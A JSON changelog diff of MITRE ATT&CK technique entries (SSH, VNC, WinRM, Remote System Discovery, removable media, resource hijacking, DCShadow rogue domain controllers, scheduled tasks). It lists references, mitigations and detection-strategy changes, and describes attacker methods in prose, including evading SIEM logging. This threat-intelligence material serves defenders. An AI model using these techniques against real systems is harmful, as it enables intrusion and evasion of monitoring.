+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Share: Network Share Access\", \"Network Traffic: Network Traffic Flow\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.700000+00:00\", \"old_value\": \"2025-04-15 19:58:29.701000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies",
+ "M1035: Limit Access to Resource Over Network",
+ "M1037: Filter Network Traffic"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0028: Logon Session (Logon Session Creation)",
+ "DS0029: Network Traffic (Network Connection Creation)",
+ "DS0029: Network Traffic (Network Traffic Flow)",
+ "DS0033: Network Share (Network Share Access)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0530: Multi-Event Detection for SMB Admin Share Lateral Movement"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 18:27:15.774000+00:00",
+ "modified": "2025-10-24 17:48:34.985000+00:00",
+ "name": "SSH",
+ "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "lateral-movement"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1021/004",
+ "external_id": "T1021.004"
+ },
+ {
+ "source_name": "Sygnia Abyss Locker 2025",
+ "description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.",
+ "url": "https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/"
+ },
+ {
+ "source_name": "TrendMicro ESXI Ransomware",
+ "description": "Junestherry Dela Cruz. (2022, January 24). Analysis and Impact of LockBit Ransomware\u2019s First Linux and VMware ESXi Variant. Retrieved March 26, 2025.",
+ "url": "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html"
+ },
+ {
+ "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
+ "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
+ "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
+ },
+ {
+ "source_name": "Sygnia ESXi Ransomware 2025",
+ "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
+ "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
+ }
+ ],
+ "object_marking_refs": [
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+ "x_mitre_detection": "",
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+ "Linux",
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+ "name": "VNC",
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+ "phase_name": "lateral-movement"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1021/005",
+ "external_id": "T1021.005"
+ },
+ {
+ "source_name": "Attacking VNC Servers PentestLab",
+ "description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.",
+ "url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/"
+ },
+ {
+ "source_name": "MacOS VNC software for Remote Desktop",
+ "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.",
+ "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"
+ },
+ {
+ "source_name": "Havana authentication bug",
+ "description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved September 12, 2024.",
+ "url": "https://lists.openstack.org/pipermail/openstack/2013-December/004138.html"
+ },
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+ "source_name": "macOS root VNC login without authentication",
+ "description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.",
+ "url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication"
+ },
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+ "source_name": "Offensive Security VNC Authentication Check",
+ "description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.",
+ "url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/"
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+ "source_name": "Gnome Remote Desktop grd-settings",
+ "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
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+ "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
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+ "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
+ "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
+ "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
+ },
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+ "source_name": "VNC Vulnerabilities",
+ "description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.",
+ "url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/"
+ },
+ {
+ "source_name": "The Remote Framebuffer Protocol",
+ "description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.",
+ "url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2"
+ },
+ {
+ "source_name": "VNC Authentication",
+ "description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.",
+ "url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication"
+ },
+ {
+ "source_name": "Hijacking VNC",
+ "description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.",
+ "url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc"
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+ "M1042: Disable or Remove Feature or Program",
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+ "DET0178: Behavioral Detection of Unauthorized VNC Remote Control Sessions"
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+ "name": "Windows Remote Management",
+ "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)",
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+ "phase_name": "lateral-movement"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1021/006",
+ "external_id": "T1021.006"
+ },
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+ "source_name": "Medium Detecting Lateral Movement",
+ "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.",
+ "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc"
+ },
+ {
+ "source_name": "Jacobsen 2014",
+ "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.",
+ "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
+ },
+ {
+ "source_name": "MSDN WMI",
+ "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
+ "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx"
+ },
+ {
+ "source_name": "Microsoft WinRM",
+ "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved September 12, 2024.",
+ "url": "https://learn.microsoft.com/en-us/windows/win32/winrm/portal"
+ }
+ ],
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
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+ "shared": [],
+ "new": [
+ "DET0477: Behavioral Detection of WinRM-Based Remote Access"
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "name": "Remote System Discovery",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1018",
+ "external_id": "T1018"
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+ "source_name": "CISA AR21-126A FIVEHANDS May 2021",
+ "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.",
+ "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"
+ },
+ {
+ "source_name": "Elastic - Koadiac Detection with EQL",
+ "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
+ "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
+ },
+ {
+ "source_name": "US-CERT-TA18-106A",
+ "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
+ }
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Daniel Stepanic, Elastic",
+ "RedHuntLabs, @redhuntlabs",
+ "Austin Clark, @c2defense"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "3.6",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.319000+00:00\", \"old_value\": \"2025-04-15 19:59:15.859000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nMonitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\"}}}",
+ "previous_version": "3.6",
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+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Access)",
+ "DS0029: Network Traffic (Network Connection Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0574: Detection Strategy for Remote System Enumeration Behavior"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:08.977000+00:00",
+ "modified": "2025-10-24 17:48:40.752000+00:00",
+ "name": "Replication Through Removable Media",
+ "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "lateral-movement"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "initial-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1091",
+ "external_id": "T1091"
+ },
+ {
+ "source_name": "Windows Malware Infecting Android",
+ "description": "Lucian Constantin. (2014, January 23). Windows malware tries to infect Android devices connected to PCs. Retrieved May 25, 2022.",
+ "url": "https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html"
+ },
+ {
+ "source_name": "iPhone Charging Cable Hack",
+ "description": "Zack Whittaker. (2019, August 12). This hacker\u2019s iPhone charging cable can hijack your computer. Retrieved May 25, 2022.",
+ "url": "https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/"
+ },
+ {
+ "source_name": "Exploiting Smartphone USB ",
+ "description": "Zhaohui Wang & Angelos Stavrou. (n.d.). Exploiting Smart-Phone USB Connectivity For Fun And Profit. Retrieved May 25, 2022.",
+ "url": "https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Joas Antonio dos Santos, @C0d3Cr4zy"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Process: Process Creation\", \"Drive: Drive Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.752000+00:00\", \"old_value\": \"2025-04-15 19:58:24.231000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1034: Limit Hardware Installation",
+ "M1040: Behavior Prevention on Endpoint",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0016: Drive (Drive Creation)",
+ "DS0022: File (File Access)",
+ "DS0022: File (File Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0301: Removable Media Execution Chain Detection via File and Process Activity"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-04-17 14:50:05.682000+00:00",
+ "modified": "2025-10-24 17:49:24.276000+00:00",
+ "name": "Resource Hijacking",
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+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "impact"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1496",
+ "external_id": "T1496"
+ },
+ {
+ "source_name": "Sysdig Cryptojacking Proxyjacking 2023",
+ "description": "Miguel Hernandez. (2023, August 17). LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab . Retrieved September 25, 2024.",
+ "url": "https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "David Fiser, @anu4is, Trend Micro",
+ "Alfredo Oliveira, Trend Micro",
+ "Jay Chen, Palo Alto Networks",
+ "Magno Logan, @magnologan, Trend Micro",
+ "Vishwas Manral, McAfee",
+ "Yossi Weizman, Azure Defender Research Team",
+ "Menachem Goldstein"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_impact_type": [
+ "Availability"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "IaaS",
+ "Linux",
+ "macOS",
+ "Containers",
+ "SaaS"
+ ],
+ "x_mitre_version": "2.0",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Service: Cloud Service Modification\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\", \"Sensor Health: Host Status\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.276000+00:00\", \"old_value\": \"2025-04-15 23:00:21.372000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.\"}}}",
+ "previous_version": "2.0",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0013: Sensor Health (Host Status)",
+ "DS0015: Application Log (Application Log Content)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0025: Cloud Service (Cloud Service Modification)",
+ "DS0029: Network Traffic (Network Connection Creation)",
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0267: Resource Hijacking Detection Strategy"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2018-04-18 17:59:24.739000+00:00",
+ "modified": "2025-10-24 17:48:48.823000+00:00",
+ "name": "Rogue Domain Controller",
+ "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1207",
+ "external_id": "T1207"
+ },
+ {
+ "source_name": "DCShadow Blog",
+ "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.",
+ "url": "https://www.dcshadow.com/"
+ },
+ {
+ "source_name": "Adsecurity Mimikatz Guide",
+ "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+ "url": "https://adsecurity.org/?page_id=1821"
+ },
+ {
+ "source_name": "GitHub DCSYNCMonitor",
+ "description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.",
+ "url": "https://github.com/shellster/DCSYNCMonitor"
+ },
+ {
+ "source_name": "Microsoft DirSync",
+ "description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.",
+ "url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx"
+ },
+ {
+ "source_name": "ADDSecurity DCShadow Feb 2018",
+ "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.",
+ "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Vincent Le Toux"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "2.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"Network Traffic: Network Traffic Content\", \"User Account: User Account Authentication\", \"Active Directory: Active Directory Object Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.823000+00:00\", \"old_value\": \"2025-04-25 15:15:34.258000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\\n\\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\\n\\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\\n\\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \\u201cGC/\\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\\u20134B06\\u201311D1-AB04\\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\\n-\\n-Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\\n-\\n-Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\\n-\\n-Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \\u201cGC/\\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\\u20134B06\\u201311D1-AB04\\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.\"}}}",
+ "previous_version": "2.2",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Authentication)",
+ "DS0026: Active Directory (Active Directory Object Creation)",
+ "DS0026: Active Directory (Active Directory Object Modification)",
+ "DS0029: Network Traffic (Network Traffic Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0276: Detection Strategy for Rogue Domain Controller (DCShadow) Registration and Replication Abuse"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:46.977000+00:00",
+ "modified": "2025-10-24 17:48:38.539000+00:00",
+ "name": "Scheduled Task/Job",
+ "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)",
+ "kill_chain_phases": [
+ {
